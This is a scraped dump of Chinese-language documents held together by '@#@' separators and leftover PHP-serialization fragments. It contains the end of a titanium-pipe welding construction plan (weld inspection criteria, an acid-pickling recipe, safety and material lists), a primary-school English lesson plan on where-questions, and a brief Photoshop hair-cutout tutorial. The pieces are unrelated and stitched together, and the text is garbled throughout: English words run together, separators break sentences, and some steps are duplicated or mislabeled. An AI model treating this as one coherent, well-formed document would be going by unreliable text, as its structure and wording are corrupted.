@#@@#@6.9焊缝返修工艺与原焊接工艺相同。
@#@同一部位的返修次数不得多于两次,若需二次返修时,应制定返修措施。
@#@@#@7.焊接检验@#@a.焊工应对焊好的焊道表面进行清理,要求外观良好。
@#@宽度以每边盖过坡口边缘2mm为宜,角焊缝的焊脚高度符合设计规定,外形平稳过渡。
@#@表面质量应符合下列要求:
@#@@#@1)不允许有咬边、裂纹、未熔合、气孔、夹渣、飞溅存在;@#@@#@2)焊缝余高:
@#@当壁厚小于5mm时,为0-1.5mm;@#@当壁厚大于5mm时,为1-2mm。
@#@@#@3)焊缝表面错边量不应大于壁厚的10%,且不大于2mm。
@#@@#@b.底层焊道均应进行渗透检验,以无裂纹和其他任何表面缺陷为合格。
@#@@#@c.对每道焊缝表面进行色泽检查,合格标准如下:
@#@@#@焊道色泽检查合格标准@#@焊道颜色@#@保护效果@#@质量@#@银白色@#@优@#@合格@#@金黄色@#@良@#@合格@#@紫色(金属光泽)注@#@兰色(金属光泽)@#@低温氧化,表面污染@#@合格@#@高温氧化,污染严重,焊缝性能下降@#@不合格@#@灰色(金属光泽)@#@保护不好@#@不合格@#@暗灰色@#@灰白色@#@黄白色@#@注:
@#@区别低温氧化和高温氧化的方法宜采用酸洗法。
@#@经酸洗能除去紫色、兰色者为低温氧化,除不掉者为高温氧化,酸洗技术条件见下表@#@焊缝酸洗技术条件@#@酸洗液配方@#@2-4%HF+30-40%HNO3+余量水(体积比)@#@酸洗液温度@#@不高于60℃@#@酸洗时间@#@2-3分钟@#@注:
@#@酸洗后立即用清水冲洗干净、晾干。
@#@@#@d.RT检验所有焊道探伤检测方法按《工业金属管道工程施工及验收规范》GB50235-2010执行。
@#@@#@8.施工质量控制@#@a.项目经理是工程质量的第一负责人,质量管理部是日常质量管理工作的办事机构。
@#@专业技术人员及专职质量检查人员具体对各专业施工过程的质量实行监督和检查;@#@@#@c.施工前认真做好技术交底工作,提高质量要求,加强施工过程中技术质量管理,做好施工记录,严格执行“三检制”。
@#@@#@d.施工中认真按施工方案施工,工序交接要及时,上道工序不检查不验收,不得进入下一道工序。
@#@施工人员认真及时做好施工记录,数据准确齐全,不得做回忆纪录。
@#@@#@e.施工过程中出现质量问题要及时处理,特殊情况需经有关人员共同确认,不得私自处理。
@#@@#@f.所有施工人员必须熟悉施工图纸及有关规范和施工方案的要求,牢记施工程序,清楚质量要求,提高质量意识。
@#@@#@9.安全管理及注意事项@#@a.建立施工的安全管理体系,明确责任,工地设专职安全员一名,各班组设兼职安全员,搞好工地的安全管理工作;@#@@#@b.凡参加施工人员必须身体健康,没有突发急病(高血压、眩晕症等)。
@#@特殊工种作业人员必须持证上岗;@#@@#@c.吊装作业,桅杆回旋范围内严禁站人,吊装卡具和绳索使用前必须检查无误后方可使用,吊装作业时必须设置警示牌,无关人员不得进入;@#@@#@d.在进行射线检查时,通知监理、业主及总包公司,必须办理作业许可证。
@#@在需要进行射线检查的路口及装置附近进行提前贴告示,标明探伤时间及地点,通知到本单位施工人员及其他单位作业施工人员。
@#@射线检查必须避开白天正常作业施工期,在晚上规定时间内进行。
@#@射线检查时必须设置警告牌、警示灯,并用绳索设置安全作业区;@#@@#@e.各种设备及班组休息室、办公室必须有可靠的接地装置,各种设备电源及施工用电应由专业电工接线,严禁违章接电。
@#@施工现场搞好文明施工,经常检查、排除事故隐患,交叉作业一定要注意安全,确保安全作业,现场按安全标准化管理;@#@@#@f.现场应配备足够的消防用品、用具;@#@@#@10.现场文明施工管理@#@10.1严格按经业主批准的施工总平面布置图施工,暂设、机具、材料不得随意或无计划搭设及场地占用。
@#@@#@10.2施工讲究科学,遵守工艺纪律,杜绝野蛮施工,焊接必须严格执行施工程序与规范,不能图省事,不顾质量要求和安全规定凑合施工。
@#@@#@10.3施工现场管理高标准、严要求,现场每周至少大清扫一次,设备、材料的运输吊装不能拖泥带水。
@#@设备、配件或材料保持无泥土、污物。
@#@@#@10.4施工所用的各种机具、设备应遵守有关管理制度,确保完好。
@#@发生事故及时报告。
@#@@#@10.5大型机具及车辆行走的施工道路及场地事先要规划处理,避免雨季施工泥浆四溅,车陷路堵。
@#@@#@10.6及时回收余料、废料,严禁乱堆乱放,施工材料做到工完料尽场地清。
@#@保证场地清洁和道路畅通。
@#@@#@10.7现场的水线、电缆、导线、电焊把线、二次线要统一规划,合理布置,不准乱拉乱扯。
@#@氧气带、电焊把线每日收工后要盘好。
@#@@#@10.8加强现场安全保卫工作,以防器材失窃。
@#@@#@11.劳动力安排@#@劳动力安排@#@时间@#@人员@#@2012年@#@10月@#@11月@#@12月@#@管工@#@10@#@12@#@10@#@焊工@#@10@#@14@#@10@#@起重工@#@4@#@4@#@4@#@普工@#@12@#@14@#@10@#@12.手段用料一览表@#@手段用料一览表@#@序号@#@名称@#@规格@#@单位@#@数量@#@备注@#@1@#@钛板@#@δ=8@#@m2@#@10@#@试压盲板@#@2@#@角钢@#@∠50×@#@5@#@m@#@20@#@防雨、防风罩@#@3@#@钢管@#@DN25@#@m@#@20@#@防雨、防风罩@#@4@#@石棉板@#@δ=3mm@#@张@#@5@#@临时垫片@#@5@#@石棉板@#@δ=1mm@#@张@#@20@#@隔离@#@6@#@防雨帆布@#@ @#@m2@#@20@#@防雨、防风罩@#@7@#@可溶纸@#@ @#@Kg@#@50@#@充氩用@#@8@#@医用胶布@#@ @#@筒@#@20@#@充氩用@#@9@#@蓝油漆笔@#@ @#@支@#@20@#@标识@#@10@#@纸胶带@#@ @#@箱@#@1@#@封口@#@11@#@铜皮@#@δ=0.5mm@#@m2@#@5@#@保护托罩@#@12@#@铜丝网@#@60目@#@m2@#@3@#@保护托罩@#@13@#@水合醋酸钠盐@#@ @#@g@#@1500@#@Fe离子试验@#@14@#@盐酸羟胺@#@ @#@g@#@15@#@Fe离子试验@#@15@#@1:
@#@10菲罗啉@#@ @#@g@#@10@#@Fe离子试验@#@16@#@蒸馏水@#@ @#@升@#@15@#@Fe离子试验@#@17@#@彩条布@#@ @#@m2@#@200@#@隔离用@#@18@#@线手套@#@ @#@副@#@200@#@劳保用品@#@19@#@口罩@#@ @#@副@#@300@#@劳保用品@#@20@#@防尘帽@#@ @#@副@#@20@#@劳保用品@#@21@#@劳保服装@#@ @#@副@#@20@#@劳保用品@#@22@#@劳保皮鞋@#@ @#@副@#@20@#@劳保用品@#@23@#@不锈钢丝轮@#@φ100@#@片@#@100@#@加工坡口@#@24@#@切割片@#@φ150@#@片@#@200@#@加工坡口@#@25@#@砂纸轮@#@φ30@#@片@#@200@#@加工坡口@#@26@#@砂纸轮@#@φ40@#@片@#@300@#@加工坡口@#@27@#@无水乙醇@#@ @#@Kg@#@200@#@清理用品@#@28@#@冰醋酸@#@ @#@ml@#@1000@#@Fe离子试验@#@29@#@丙酮@#@ @#@Kg@#@50@#@清理用品@#@30@#@HF@#@ @#@ml@#@500@#@酸洗@#@31@#@HNO3@#@ @#@ml@#@2000@#@酸洗@#@32@#@砂轮片@#@φ100@#@片@#@300@#@加工坡口@#@33@#@铁丝@#@10号@#@Kg@#@50@#@防护用@#@34@#@塑料布@#@δ=1.5--2@#@Kg@#@250@#@防护用@#@13.施工机具、设备一览表@#@施工机具、设备一览表@#@序号@#@名称@#@规格@#@单位@#@数量@#@1@#@高频引弧焊机@#@台@#@6@#@2@#@角向磨光机@#@φ100@#@台@#@6@#@3@#@棒式磨光机@#@台@#@6@#@4@#@电焊把线@#@35mm2@#@米@#@400@#@5@#@氢气表@#@0—1.6MPa@#@只@#@12@#@6@#@木锤@#@把@#@10@#@7@#@2磅线坠@#@个@#@6@#@8@#@弯尺@#@把@#@6@#@9@#@钢板尺@#@1m@#@把@#@6@#@10@#@直流风机@#@台@#@1@#@11@#@落地扇@#@台@#@2@#@12@#@铁剪刀@#@把@#@6@#@13@#@铝水平@#@把@#@6@#@14@#@盘尺@#@30m@#@把@#@1@#@15@#@温度计@#@支@#@6@#@16@#@铜锤@#@3磅@#@把@#@6@#@17@#@防毒面具@#@套@#@3@#@18@#@角向磨光机@#@φ150@#@台@#@8@#@19@#@钢卷尺@#@5m@#@把@#@15@#@20@#@套头面罩@#@个@#@10@#@ @#@@#@精品文档考试教学资料施工组织设计方案@#@ @#@@#@精品文档考试教学资料施工组织设计方案@#@";i:
5;s:
14091:
"pep人教版三年级英语下册第四单元Unit4教案含教学反思@#@1.能够理解对话大意,能够用正确的语音语调朗读对话。
@#@@#@2.能够在老师的帮助下,在语境中运用Whereis…?
@#@It'@#@sin/on/under…来询问和回答物品所在的位置。
@#@@#@句型:
@#@Whereis…?
@#@It'@#@sin/on/under…@#@1.where的读音。
@#@@#@2.理解方位词on,in,under的含义和用法。
@#@@#@课件卡片图片@#@
(一)热身(Warmup):
@#@@#@1.教师通过课本的情景,引出并教授单词where(强调发音),desk,under和on。
@#@@#@2.教师通过猜学生铅笔盒中文具的情景,引出并教授单词in。
@#@@#@
(二)新课呈现(Presentation):
@#@@#@1.组织学生对对话内容进行预测。
@#@@#@2.播放录音,提问:
@#@WhereisZhangPeng’spencilbox?
@#@WhereisZhangPeng’spencil?
@#@@#@3.请学生打开课本听对话,教师对语言点进行解释。
@#@@#@4.学生跟着录音朗读对话,然后进行角色扮演。
@#@@#@5.完成Let'@#@splay。
@#@@#@(三)巩固与拓展(Consolidationandextension):
@#@@#@看藏宝图,寻找礼物。
@#@@#@教师分别准备几幅图,每幅图的内容如下:
@#@@#@图1:
@#@一个礼物在学生A的书桌下面。
@#@@#@图2:
@#@一个礼物在学生B的书桌上面。
@#@@#@图3:
@#@一个礼物在学生C的书下面。
@#@@#@图4:
@#@一个礼物在学生D的铅笔盒里面。
@#@@#@图5:
@#@一个礼物在学生E的书桌里面。
@#@@#@图6:
@#@一个礼物在学生F的书上面。
@#@@#@图7:
@#@一个礼物在学生G的书包里。
@#@@#@教师先让找礼物的学生H闭上眼睛或来到教室门口,然后分别把七幅图放在相应的地方,如图1应放在学生A的桌子下面,图2应放在学生B的书桌上面,图2应放在学生C的书下面,依此类推,放在学生G书包里的是个类似玩具狗的实物。
@#@示例:
@#@H:
@#@Whereisit?
@#@Class:
@#@It'@#@sunderAsdesk.@#@(四)家庭作业(Homework):
@#@@#@1.抄写本节课所学的单词,每个一行。
@#@@#@2.听录音,跟读对话,并读给家长听。
@#@@#@本节课所学习的核心句型是Whereis…?
@#@It'@#@sin/on/under…课本通过张鹏和John放学后收拾书包的情景让学生感知该句型的语义和语用情景,由于学生们刚接触到方位词,所以在课堂上部分同学的反应不是很快,我想经过多次操练后,情况肯定会有所好转。
@#@@#@1.学习单词chair,desk,in,on,under,能够听、说、读、写。
@#@@#@2.能够根据情景灵活运用这些单词。
@#@@#@单词chair,desk,in,on,under。
@#@@#@单词在句子中的灵活运用。
@#@@#@课件卡片@#@
(一)热身(Warmup):
@#@@#@1.Guess:
@#@Whereismy…?
@#@@#@一个孩子藏起一样东西,孩子们猜测:
@#@Inyourbag?
@#@/…@#@让孩子们真实的寻找一下,找到的孩子说出自己的答案。
@#@@#@2.Whereisit?
@#@@#@教师拿出一个球,随意抛到不同的位置,让孩子根据情况描述一下:
@#@“Whereisit?
@#@”(It'@#@sunderthedesk./…)@#@
(二)新课呈现(Presentation):
@#@@#@1.出示主题图(把单词去掉),提问:
@#@“Whatcanyousee?
@#@”@#@让孩子根据自己的情况尽情地说(如果出现本课新词汇教师就指着这种物品特意多重复几遍)。
@#@@#@2.让孩子根据图片自由地提问:
@#@Whereisthepencil/…?
@#@请其他孩子回答。
@#@@#@在孩子的提问回答中出现了本课新词汇,教师就将相应的单词卡片贴在图旁,带着孩子多次重复认读。
@#@@#@3.出示单词卡片,开火车认读。
@#@@#@4.听录音,跟读练习。
@#@@#@5.小组比赛认读,看谁说的又快又准。
@#@@#@(三)巩固与拓展(Consolidationandextension):
@#@@#@1.Listenandpoint.@#@听老师的指令,在课本图片上指出物品。
@#@@#@2.Talkaboutthepicture.@#@3.完成Let'@#@sdo。
@#@@#@(四)家庭作业(Homework):
@#@@#@1.听录音,并跟读。
@#@@#@2.把Let'@#@sdo部分的内容边说边做给家长看。
@#@@#@本部分以Zip寻找尺子,窗外的小鸟告诉Zip尺子的位置这一情景呈现要学习的三个方位介词和desk,chair这两个单词,由于学生对所学的三个方位介词的概念已相当熟悉,desk,chair更是他们每天都接触的东西,所以在教学过程中,我联系学生的生活经验,从描述图中物品的位置入手帮助学生学习这五个单词,并滚动复习句型“Whereis…?
@#@It'@#@sin/on/under…”,收到了很好的教学效果。
@#@@#@1.学习字母o在单词中的短音发音@#@。
@#@@#@2.知道字母o在单词中的短音发音规律,并在掌握发音规律的过程中了解一些语音知识。
@#@@#@3.通过描红单词初步掌握单词书写的要求,并能够辨认词形。
@#@@#@练习书写四个简单的单词。
@#@@#@Read,listenandnumber部分。
@#@@#@录音机卡片@#@
(一)热身(Warmup):
@#@@#@1.师生日常口语练习。
@#@@#@2.教师出示一些单词卡片,让学生认读。
@#@@#@
(二)新课呈现(Presentation):
@#@@#@1.Listen,repeatandchant.@#@
(1)教师同时呈现dog,box,orange,body的单词和图片,请学生读出单词,并找一找这四个单词的共同点,如单词中都有字母o,都有@#@音等等,教师不急着给答案。
@#@@#@
(2)播放课文录音,请学生进一步熟悉发音并跟着录音拼读单词。
@#@@#@(3)引导学生观察这四个单词的拼写,思考并说出其共同字母,然后归纳出字母o的短音发音@#@。
@#@@#@(4)以dog为例,教师放慢速度并以夸张的口型读出单词dog,引导学生思考dog由几个音素组成,分别是什么。
@#@并以同样的方法对box,orange和body进行拆音。
@#@@#@(5)教师利用动画讲解语音歌谣,在理解的基础上请学生跟着动画或录音吟唱歌谣,进一步巩固字母o的短音发音@#@。
@#@@#@2.Read,listenandnumber.@#@
(1)引导学生通过拼读各个学过的音素读出单词,如@#@。
@#@@#@
(2)播放录音,要求学生听音排序。
@#@@#@(3)Listenandwrite.@#@播放录音,请学生听着录音描红单词。
@#@@#@(三)巩固与拓展(Consolidationandextension):
@#@@#@做游戏:
@#@举举说说。
@#@@#@教师准备多张辅音字母卡片(如b,d,x,g,l,m,n,y)和一张o字母卡片,请六个学生上讲台,要求台上的学生在规定的时间内组合一个单词并站好,双手举起字母卡片。
@#@然后请台下的学生拼读此单词。
@#@@#@(四)家庭作业(Homework):
@#@@#@1.抄写本节课出现的四个单词,每个写一行。
@#@@#@2.归纳以前学过的字母o在单词中发@#@音的单词。
@#@@#@语音部分主要学习字母o在单词中的短音发音@#@;@#@书写部分要求学生通过描红单词初步掌握单词的书写要求。
@#@在整堂课的教学中,大部分同学表现很突出,能积极主动地跟着老师一起学,但仍有很少数几个同学的状态不佳,需要进行个别帮辅。
@#@@#@1.能够听、说、读核心句型Isit…?
@#@Yes,itis./No,itisnt.@#@2.能理解对话大意,能用正确的语音语调朗读对话。
@#@@#@学习句型Isit…?
@#@Yes,itis./No,itisnt.@#@理解并在具体情境中运用新句子。
@#@@#@课件卡片@#@
(一)热身(Warmup):
@#@@#@1.做游戏:
@#@我是小帮手。
@#@@#@利用帮教师找笔和袋子的情景,激活学生的已有知识,请学生用in、on和under猜猜教师的笔和袋子在哪里。
@#@@#@2.唱歌谣:
@#@Whereisthebluepen?
@#@(用《两只老虎》的音调)@#@Whereisthebluepen?
@#@@#@Whereisthebluepen?
@#@@#@Whereisit?
@#@@#@Whereisit?
@#@@#@It'@#@sunderthedesk.@#@It'@#@sunderthedesk.@#@Underthedesk.@#@Underthedesk.@#@
(二)新课呈现(Presentation):
@#@@#@1.介绍情景发生的背景,引导学生理解画面意义。
@#@@#@2.教师播放录音,帮助学生理解对话,引导学生回答问题:
@#@@#@Whataretheylookingfor?
@#@Whereisthecap?
@#@@#@3.学生听录音,跟读,然后全班朗读对话。
@#@@#@4.师生配合表演对话。
@#@@#@5.小组内表演。
@#@@#@6.上台展示。
@#@@#@(三)巩固与拓展(Consolidationandextension):
@#@@#@1.做游戏:
@#@找玩具。
@#@@#@教师指定一名学生戴上眼罩,并将他的书或其他文具藏在教室里的某个地方。
@#@该学生摘掉眼罩后,请他用Ismy…in/on/under…?
@#@提问,并猜他的文具在哪里,例如:
@#@Ismybookonthedesk?
@#@全班做出相应回答。
@#@若问三次还猜不出,则他问:
@#@Whereismy…?
@#@由全班回答。
@#@@#@2.完成Let'@#@splay活动。
@#@@#@如课文图片示意,两人小组练习,学生A蒙着眼睛或趴在桌子上,学生B则把学生A的某一文具藏起来,学生A用Isitin/on/under…?
@#@猜文具的位置,有三次猜的机会。
@#@@#@(四)家庭作业(Homework):
@#@@#@1.听录音,朗读课文对话。
@#@@#@2.和家长一起做类似Let'@#@splay的游戏。
@#@@#@本部分通过Mike外出前,在家询问妈妈寻找帽子的语境,呈现了核心句型Isitin/on/under…?
@#@Yes,itis./No,itisnt.由于学生在PartA部分已学过It'@#@sin/on/under…这个句型,所以在操练本课的重点句型时,显得相对容易得多。
@#@@#@1.能够听、说、认、读单词cap,ball,car,boat,map。
@#@@#@2.了解一些简单的指示语,要求学生能听懂并按照指令做出相应的动作。
@#@@#@词汇的学习。
@#@@#@词汇的认读。
@#@@#@录音机卡片课件@#@
(一)热身(Warmup):
@#@@#@做游戏复习词汇。
@#@@#@教师展示不透明的玩具箱,请学生猜里面的玩具。
@#@玩具箱里的玩具可以是玩具车,玩具动物,甚至可以是三年级上学期第五单元学过的玩具食物。
@#@学生猜不中的时候教师通过展示玩具的一小部分提示学生,如果学生猜对就奖励。
@#@@#@
(二)新课呈现(Presentation):
@#@@#@1.从玩具箱里露出ball,car,boat和map的一小部分,呈现这些实物,让学生猜测并教读单词。
@#@@#@2.语篇听力训练。
@#@@#@
(1)介绍情景发生的背景,引导学生理解画面意义。
@#@@#@
(2)教师播放录音,帮助学生理解对话,引导学生回答问题。
@#@@#@WhereisZoomlookingfor?
@#@Whereistheboat?
@#@Isitinthetoybox?
@#@@#@(3)听录音,跟读,然后全班朗读。
@#@@#@(4)角色扮演。
@#@@#@3.完成Let'@#@sdo。
@#@@#@
(1)教师指着单词图片,并提问:
@#@Wecandomanythingswiththesethings.Whatcanwedowhenweareinaboat?
@#@…@#@
(2)完整播放一次录音并提问,请学生回答。
@#@@#@(3)请学生跟读录音,注意语音语调,并跟着教师一边读一边做动作。
@#@@#@(4)学生自己边说指令边做动作。
@#@@#@(5)小组练习并展示。
@#@@#@(三)巩固与拓展(Consolidationandextension):
@#@@#@1.教师出示五张单词卡片,学生以小组形式讨论,配对单词卡片与图片,请五个学生在黑板上完成配对。
@#@@#@2.做游戏:
@#@少了什么?
@#@@#@老师将一幅摆有玩具的房间图贴在黑板上,并给每位学生发一幅同样的图。
@#@教师读句子,学生听,看看图上少了什么。
@#@然后添画出来,最后让一学生在黑板上添画出来。
@#@@#@描述房间里的玩具:
@#@Isee…,Whereisthe…?
@#@It'@#@s….@#@(四)家庭作业(Homework):
@#@@#@1.自制单词卡片,和家长一起认读。
@#@@#@2.把Let'@#@sdo的内容表演给家长看。
@#@@#@本部分通过Zoom寻找玩具小船的情景呈现了要学习的五个单词,教学目标是能听、说、认、读这些单词,本部分的单词与学生的学习和日常生活息息相关,学生们普遍接触过此类物品,而他们接触过的玩具远不只这几种,所以我在教学中根据学生的实际情况,进行了适当的拓展,从而达到了预期的教学效果。
@#@@#@通过做题和唱歌检测学生对本单元知识的熟练掌握程度。
@#@@#@Let'@#@scheck.@#@Listenandtickorcross.@#@录音带卡片@#@
(一)热身(Warmup):
@#@@#@1.播放PartA部分Let'@#@schant的录音,让学生有节奏地跟唱。
@#@@#@2.师问生答,复习本单元句型。
@#@@#@
(二)新课呈现(Presentation):
@#@@#@1.Starttoread.@#@
(1)组织学生进行口头训练——看图提问。
@#@@#@
(2)引导学生阅读句子并连线到图中相应的位置上。
@#@@#@2.Listenandtickorcross.@#@
(1)学生观察四幅图片,教师分别问船、帽子、小汽车、球在什么位置,学生回答。
@#@@#@
(2)教师播放录音,学生完成练习。
@#@@#@3.Lookandtick.@#@请一些学生说出玩具箱里的玩具,再请一些学生读出玩具箱旁的单词。
@#@小组讨论,在玩具箱旁的单词中,有哪些是玩具箱里的玩具,如果玩具箱里有这一玩具,就在该单词前的空格里打勾。
@#@@#@4.Let'@#@ssing.@#@
(1)教师播放歌曲,要求学生为歌曲配上动作。
@#@@#@
(2)跟着录音节奏,边做动作边唱歌。
@#@@#@(3)小组练习并展示。
@#@(教师可引导学生替换其他玩具)@#@(三)巩固与拓展(Consolidationandextension):
@#@@#@Drawandtalk.@#@画自己的房间,然后在小组里介绍,选几个学生与全班分享。
@#@@#@(四)家庭作业(Homework):
@#@@#@朗读本单元的单词和课文对话。
@#@@#@本节课通过各种形式的做题训练检测了学生对本单元的重要词汇和核心句型的掌握程度,由于平时对学生的听力训练较少,所以Listenandtickorcross部分的教学效果欠佳,今后要增加对学生听力方面的训练。
@#@@#@ @#@@#@";i:
6;s:
1456:
"Photoshop抠图教程抠出飘逸长发美女@#@本教程主要使用Photoshop给飘逸长发的美女抠图,主要讲述扣发丝换背景的基本操作原理,下面让我们一起来学习吧。
@#@@#@来源:
@#@郎行新浪博客@#@原始图片@#@退低换背景后效果@#@01首先在打开一个原始图片文件,执行CTRL+J命令复制三个图层文件,在“涂层1”与“图层副本1”之间创建新涂层并填充深色调(退低时衬托用)@#@02选择“图层副本1”,执行滤镜——抽出命令,@#@选择面板里的“边缘高光器工具”涂抹人物主体,选择“强制前景”设置颜色为“白”(具体设置如图)。
@#@@#@03选择“图层副本2”,执行滤镜——抽出命令,@#@选择面板里的“边缘高光器工具”涂抹人物主体,选择“强制前景”设置颜色为“黑”((具体设置如图)。
@#@@#@04选择“图层副本4”,执行工具面板里的“多边形套索工具”选取人物主体比分,执行“选择--羽化”命令@#@执行“选择--反选”命令,点击DELETE键删除(如图5)@#@05删除后效果@#@06以此选择“图层副本1-2”放大图片,利用“工具面板”相关工具修正头发边缘不干净杂点及头发局部细化,(这一步非常重要,耐心是基础)@#@07完成以上步骤后我们就可以为人物主体设置您自己喜欢的背景图片啦@#@08完成的效果图@#@";}
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